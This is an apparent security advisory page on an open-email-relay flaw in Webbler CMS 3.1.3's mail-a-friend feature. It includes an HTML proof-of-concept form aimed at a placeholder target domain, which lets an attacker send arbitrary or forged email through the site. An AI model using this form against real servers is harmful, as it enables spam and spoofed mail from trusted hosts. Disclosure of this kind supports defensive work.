Webbler CMS 3.1.3 Mail A Friend Open Email Relay Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Webbler CMS 3.1.3 Open Email Relay Vulnerabilit


                                                source: http://www.securityfocus.com/bid/25045/info

The &#39;webbler&#39; is prone to an open-email-relay vulnerability.

An attacker may leverage the issue to use webservers that are hosting the vulnerable software to send arbitrary unsolicited bulk email. Attackers may also forge email messages that originate from trusted mail servers.

This issue affects webbler 3.1.3; prior versions may also be affected. 

 &#60;form method=&#34;post&#34; action=&#34;http://www.target-domain.com/?lid=12506&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;code&#34; value=&#34;4672577a2d323&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;referral_uri&#34; value=&#34;&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;document_title&#34; value=&#34;&#34;&#62;
        &#60;input type=&#34;text&#34; name=&#34;recipient&#34; value=&#34;&#34;&#62;
        &#60;input type=&#34;text&#34; name=&#34;username&#34; value=&#34;&#34;&#62;
        &#60;input type=&#34;text&#34; name=&#34;useremail&#34; value=&#34;&#34;&#62;
        &#60;INPUT class=&#34;sendbutton&#34; type=submit name=sa VALUE=&#34;send page&#34;&#62;
        &#60;/form&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1